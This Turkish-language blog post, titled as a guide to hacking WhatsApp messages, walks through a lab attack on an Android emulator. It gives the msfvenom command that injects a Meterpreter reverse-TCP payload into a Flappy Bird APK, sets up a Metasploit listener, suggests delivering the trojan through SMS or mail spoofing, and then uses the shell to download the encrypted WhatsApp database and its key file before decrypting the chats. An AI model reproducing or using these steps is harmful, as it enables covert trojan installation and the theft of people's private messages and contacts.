hacking

Whatsapp Mesajları Nasıl Hacklenir ?

Teknolojinin gelişmesi ile birlikte artık 7’den 70’e herkes siber dünyada farkında olmadan kendine özel bir alan oluşturmaya başlamıştır. İş hayatı, gündelik hayat, vb. süreçlerde teknoloji ile içi içe olmanın ve işlerimizin kolaylaştırılmasıyla birlikte birçok tehlike de yanında gelmektedir.

Bu blog yazımızda gündelik hayatımızda hepimizin kullandığı “Whatsapp Messenger” uygulamasındaki mesajların nasıl ele geçirilebildiği ve hackerların bu süreçde hangi teknikleri kullandığını uygulamalı bir şekilde işleyeceğiz.

Lab Bilgileri

Saldırgan Sistem: Kali Linux 2020.04

Hedef Sistem: Nox Player – Android 5.1.1

Amaç ve Senaryo

Gerçekleştireceğimiz saldırı similasyonunda hedef sisteme *.apk uzantılı bir oyunun içerisine enjekte edilmiş zararlı bir *.apk dosyası gönderilerek hedef sistem ele geçirilecektir. Bu süreçte saldırgan oluşturmuş olduğu zararlı yazılımı web sunucusu üzerinden göndermiştir. Eğer istenilirse “SMS Spoofing, Mail Spoofing, vb.” sosyal mühendislik teknikleri kullanılarakda gönderilebilir.

Kullanılan Araçlar

  • Metasploit
  • Msfvenom
  • Apktool
  • Jarsigner
  • Zipalign
  • Nox Player

Metasploit

Sızma testi çalışmalarında, güvenlik açıklıkları tespit etmek için, exploitation (sızma & istismar) süreçlerinde kullanmak için ve bilgi toplama, vb gibi güvenlik testlerinde kullanılan frameworküdür.

Msfvenom

Metasploit freamwork çatısı altında geliştirmiş olan bir araçtır. Msfvenom ile birçok platforma yönelik zararlı yazılımlar geliştirebilir ve shellcode üretme gibi işlemler gerçekleştirebilirsiniz.

Apktool

Apktool, geliştirmiş olduğunuz veya hali hazırdaki *.apk dosyalarını okumanıza, yönetmenize, derlemenize ve imzlama yapmanıza olanak sağlayan bir araçtır.

Jarsigner

Derlenen bir *.apk dosyasını android sistemde çalıştırmak için imzalama işlemi gerçekleştiren bir uygulamadır.

Zipalign

Android uygulama (APK) dosyalarına önemli optimizasyon sağlayan bir arşiv hizalama aracıdır. Amaç, sıkıştırılmamış tüm verilerin dosyanın başlangıcına göre belirli bir hizalamayla başlamasını sağlamaktır.

Nox Player

Bilgisayar ortamında kullanbileceğiniz sanal android emilatör yazılımdır.

Uygulamamıza başlamada önce bazı kurulumlar yapmamız gerekmektedir. Bunun için kullanmış olduğumuz linux işletim sistemini “apt-get update” komutu ile güncelleştirmeleri indirmemiz gerekmektedir.

Güncelleştirme başarı ile gerçekleştirildikten sonra “apt-get install apktool” komutu ile apktool kurulumu gerçekleştirilir.

“apt-get install default-jdk” komutu ile jarsigner kurulumu gerçekleştirilir.

“apt-get install zipalign” komutu ile zipalign kurulumu gerçekleştirilir.

Gerekli araç kurulumlarından sonra bulunduğumuz dizinde “flappy.apk” adında zararsız bir oyun dosyası bulunmaktadır.

Msfvenom aracında faydalanarak flappy.apk adlı zararsız dosyamızın içerisine zararlı kod enjekte ederek bağlantı alabileceğimiz bir dosya oluşturmamız gerekmektedir. Bunun için “msfvenom –x zararsız_uygulama.apk –p android/meterpreter/reverse_tcp LHOST=<Saldırgan IP> LPORT=<Saldırgan Port> -o Yeni_Zararlı_Uygulama_ismi.apk” şeklinde oluşturulur.

Enjekte işlemi gerçekleştirildikden sonra bulunduğumuz dizinde “ls-la” komutu ile enjekte edilmiş zararlı uygulamamız “bind_emasecurity.apk” şeklinde görmekdeyiz.

Oluşturmuş olduğumuz zararlı yazılımı hedef sisteme göndermeden önce metasploitin “handler” modülü yardımı ile msfvenomde belirtmiş olduğumuz LHOST ve LPORT bilgilerini gelen oturumu karşılayabilmek için dinlemeye almamız gerekmektedir. Bunun için “msfconsole” komutu ile metasploit çalıştırılır ve “use exploit/multi/handler” komutu ile handler modülünün dizinine erişilir. Handler modülüne erişildikten sonra bir payload ataması yapılması gerekilmektedir, çünkü handler modülü birçok platforma yönelik dinleme yapabilme özelliğine sahiptir. Msfvenomda belirtilen android payload “set PAYLOAD android/meterpreter/reverse_tcp” komutu ile tanımlanır ve “set LHOST <Saldırgan IP” “set LPORT <Saldırgan Port>” şeklinde dinleme yapılacak ip ve port bilgisi belirtilir. Son olarak dinlemeye almak için “exploit” komutu çalıştırılır.

Saldırgan zararlı yazılımı göndermek için kendisini bir web yayını yapmaktadır. Görüldüğü gibi kullanıcı tarayıcı üzerinden saldırganın oluşturmuş olduğu zararlı “bind_emasecurity.apk” dosyasını download etmektedir.

İndirilen zararlı yazılım çalıştırıldığında aşağıdaki gibi kurulum işlemi gerçekleştirilmektedir. Her uygulamada olduğu gibi bazı izinler vermesi gerektiğini ve yüklenen uygulamanın nelere erişimi olacağını kullanıcıya bildirmektedir. Günümüzde kullanmış olduğumuz uygulamarda artık hemen hemen belirtilen izinleri istediği için hedef sistemin veya kullanıcının şüphelenme olanağıda azdır.

Hedef sistemin & kullanıcının uygulamayı kurması sonucunda aşağıdaki gibi “Flappy Bird” uygulaması görülmektedir.

Kullanıcı uygulamayı çalıştırdığında karşısına şüpheleneceği herhangi bir sorun çıkmadığı aşağıdaki görselde gözükmektedir.

Kullanıcının “Flappy Bird” uygulamasını çalıştırması ile birlikte saldırganın dinleme yapmış olduğu satıra bir meterpreter oturumu geldiğini ve sisteme sızdığımız “sysinfo” komutu ile görmekdeyiz.

Ele geçirilen sistemin root haklarında çalışıp çalışmadığını kontrol etmek amacı ile meterpreter oturumunda “check_root” komutunu kullanmakdayız. Görüldüğü gibi “Device is rooted” yazısı ile ele geçirilen cihazın root haklarında çalıştığını doğruladık. Eğer ele geçirmiş olduğunuz system root haklarında değil ise privilege escalation (yetki yükseltme) saldırılarına bakmanız gerekmektedir.

“pwd” komutu ile oturum elde ettiğimiz dizine baktığımızda uygulamanın kurulu olduğu dizini görmekdeyiz. Fakat whatsapp veritabanı dosyaları genellikle sdcard dizininde tutulmakatdır. Bunun için “cd ..” komutunu kullanarak  bir alt dizine inmemiz gerekmektedir.

“cd sdcard” komutu ile sdcard klasörüne erişim sağladıkdan sonra diğer klasörleri görüntülemek için “ls” komutunu kullandığımızda “Whatsapp” klasörünü görmekdeyiz

Whatsapp klasörüne erişmek için “cd Whatsapp” komutunu kullanarak erişim sağlamakdayız. “ls” komutu ile klasördeki diğer klasörleri görüntülediğimizde “Databases” klasörünü görmekdeyiz.

“cd Databases” komutu ile databases klasöründeki dosyaları görüntülemek için “ls” komutunu kullandığımızda aşağıdaki görselde görüldüğü gibi “msgstore-2021-ay-gün.db.crypt12” adında dosyaları görüntülemekdeyiz.

En güncel mesajların veritabanını almak için yıl/ay/gün şeklinde olan dosyayı “download msgstore-2021-02-20.1.db.crypt12” şeklinde saldırgan makinemize indiriyoruz.

Whatsapp mesajlarının tutulduğu şifreli veritabanını ele geçirdik evet ama bu veritabanında bulunan mesajları okuyabilmek için bir decrypt key anahtarına ihtiyacımız bulunmaktadır. Genellikle android sistemlerde whatsapp key anahtarının dizin yolu “/data/data/com.whatsapp/files” şeklindedir. Meterpreter satırında “shell” komutunu kullanarak sistemin komut satırına eriştiğimizde “cd /data/data/com.whatsapp/files“ dizinine geçiş sağlayarak “ls” komutunu kullandığımızda “KEY” dosyasını görmekdeyiz. Key dosyasını meterpreter satırı üzerinde indirmek için bulduğumuz dizin üzerinde “cp key /storage/emulated/legacy” komutunu kullanarak sdcard dizinine key dosyasını kopyalıyoruz.

CTRL + C kombinasyonları ile shell satırından çıkarak meterpreter satırı üzerinden “cd /storage/emulated/legacy” dizinine eriştiğimizde “key” dosyasının başarılı bir şekilde kopyalandığını görmekdeyiz. Key dosyasını saldırgan makinasına indirmek için “download key” komutunu kullanarak başarılı bir şekilde dosyayı indirdiğimizi görmekdeyiz.

Tüm verileri ele geçirdikten sonra kali makinamızda ele geçirdiğimiz şifreli veritabanı ve key anahtarını görmekdeyiz.

Ele geçirilen veritabanı ve key dosyasını açabilmek için windows sistemlerde kullanbileceğimiz “Whatsapp Viewer” aracından faydalanacağız. Aracımızın görüntüsü aşağıdaki gibidir;

Saldırgan makinamızdaki dosyaları windows makinamıza transfer ettikden sonra “File” sekmesine tıklayarak “Decrypt .crypt12..” butonuna tıklamamız gerekmektedir.

Karşımıza çıkan pencerede “Database File” sekmesine “msgstore-2021-02-20.1.db.crypt12” dosyasımızı seçiyoruz. Aynı şekilde “Key File” kısmında key dosyasımızı seçmemiz gerekmektedir. Tüm bu adımlardan sonra “Ok” butonuna tıklanır.

“Ok” butonuna tıklandıktan sonra decrypt işleminin başarılı bir şekilde gerçekleştiğine dair karşınıza bir bilgi ekranı çıkacaktır ve “Whatsapp Viewer” dosyasını çalıştırdığınız klasörde “msgstore.decrypt.db” adında bir dosya oluşturulacaktır.

Oluşturlan “msgstore.decrypt.db” dosyasını “File” sekmesinde bulunan “Open” butonuna tıklayarak “File” bölümünde seçmeniz ve “OK” butonuna tıklamanız yeterli olacaktır.

Görüldüğü gibi sol bölümde mesajlaşılan kişinin Numara bilgisi ve sağ tarafdaki bölümde konuşmalar gözükmektedir.

Kullanıcıdaki whatsapp konuşması bknz;

Ek olarak mesajları html  formatından görüntülemek isterseniz alt sekmede bulunan “Export .html” butonuna tıklayarak dosya ismi belirtebilir ve “save” butonuan tıklayarak export işlemini gerçekleştirebilirsiniz.

Kayıt edilen html dosyasının çıktısı aşağıdaki gibidir bknz;

Bir sonraki blog yazısında görüşmek üzere..

read more